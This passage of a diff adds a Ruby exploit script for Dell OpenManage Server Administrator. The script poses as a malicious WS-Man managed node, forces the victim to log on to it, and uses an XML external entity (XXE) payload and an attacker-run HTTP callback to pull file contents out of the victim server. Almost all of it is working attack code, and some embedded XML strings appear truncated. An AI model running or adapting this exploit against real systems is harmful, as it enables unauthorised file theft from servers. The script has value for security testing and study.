Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# + +require 'webrick' +require 'webrick/https' +require 'nokogiri' +require 'securerandom' +require "net/http" +require "uri" + +victimip = nil +if victimip.nil? + abort "You should modify this file and specify a victim IP." +end + +attackerip = Socket.ip_address_list.detect{|intf| intf.ipv4_private?}.ip_address +print "Your IP: #{attackerip}\n\nThe victim must be able to reach you at this IP, port 5986 and 8080.\nIf it isn't right, modify this script.\nYou have ten seconds to abort this script.\n\n" + +sleep 10 + +wsmanCallback = WEBrick::HTTPServer.new(:Port => 5986, :SSLEnable => true, :SSLCertName => [ %w[CN localhost] ]) + +wsmanCallback.mount_proc '/wsman' do |req, res| + doc = Nokogiri::XML(req.body) do |config| + config.options = Nokogiri::XML::ParseOptions::NONET + end + + doc.xpath('//wsmid:Identify', 'wsmid' => 'http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd').each do |idRequest| + res.status = 200 + res['Content-Type'] = 'application/soap+xml;charset=UTF-8' + res.body = 'http://schemas.dmtf.org/wbem/wsman/1/wsman.xsdFake Dell Open Manage Server Node1.0' + end + + doc.xpath('//n1:SendCmd_INPUT', 'n1' => 'http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule').each do |dellRequest| + dellCmd = dellRequest.child.text + + respText = " " + if dellCmd.start_with?("__00omacmd=getuserrightsonly ") + userRights = (7 + (7 << 16)) + respText = "0#{userRights}" + elsif dellCmd.start_with?("__00omacmd=getaboutinfo ") + respText = "6.0.3" + elsif dellCmd.start_with?("__00omacmd=getcmdlogcontent") + respText = "\n \n%dtd;\n%send;\n]]>\n" + end + + resDoc = Nokogiri::XML("\n 0 ") + + resDoc.xpath('//wsa:To').first.content=doc.xpath('//wsa:Address').first.text + resDoc.xpath('//wsa:RelatesTo').first.content=doc.xpath('//wsa:MessageID').first.text + resDoc.xpath('//wsa:MessageID').first.content=SecureRandom.uuid + + resDoc.xpath('//n1:ReturnValue').first.content=respText + + res.status = 200 + res['Content-Type'] = 'application/soap+xml;charset=UTF-8' + res.body = resDoc.to_xml + end +end + +wsmanThread = Thread.new do + wsmanCallback.start +end + +xxeCallback = WEBrick::HTTPServer.new(:Port => 8080) + +xxeCallback.mount_proc '/stage2.dtd' do |req, res| + res.status = 200 + res['Content-Type'] = 'application/xml-dtd' + res.body = "\"\n>\n%all;\n" +end + +result = nil + +xxeCallback.mount_proc '/xxe' do |req, res| + result = req.query['result'] + wsmanCallback.shutdown + xxeCallback.shutdown +end + +xxeThread = Thread.new do + xxeCallback.start +end + +trap 'INT' do + wsmanCallback.shutdown + xxeCallback.shutdown + abort "Exiting" +end + +httpConn = Net::HTTP.new(victimip, 1311) +httpConn.use_ssl=true +httpConn.verify_mode=OpenSSL::SSL::VERIFY_NONE + +print "\n\nRequesting that the victim log onto this malicious node...\n\n" + +logonUri = URI.parse("https://#{victimip}:1311/LoginServlet?flag=true&managedws=false") +logonReq = Net::HTTP::Post.new(logonUri.request_uri) +logonReq.set_form_data({"manuallogin" => "true", "targetmachine" => attackerip, "user" => "nobody", "password" => "", "application" => "omsa", "ignorecertificate" => "1"}) + +logonRes = httpConn.request(logonReq) + +jSessionId = logonRes['Set-Cookie'] +jSessionId = jSessionId[(jSessionId.index('=')+1)..(jSessionId.index(';')-1)] + +vid = logonRes['Location'] +vid = vid[(vid.index('&vid=')+5)..-1] + +print "\n\nJSESSIONID = #{jSessionId}\nVID = #{vid}\nRequesting the victim's CmdLogWebPlugin...\n\n" + +pluginUri = URI.parse("https://#{victimip}:1311/#{vid}/DataArea?plugin=com.dell.oma.webplugins.CmdLogWebPlugin&vid=#{vid}") +pluginReq = Net::HTTP::Get.new(pluginUri.request_uri) +pluginReq['Cookie']="JSESSIONID=#{jSessionId}" + +pluginRes = httpConn.request(pluginReq) + +wsmanThread.join +xxeThread.join + +print "\n\nSuccessful XXE: #{result}\n\n" unless result.nil?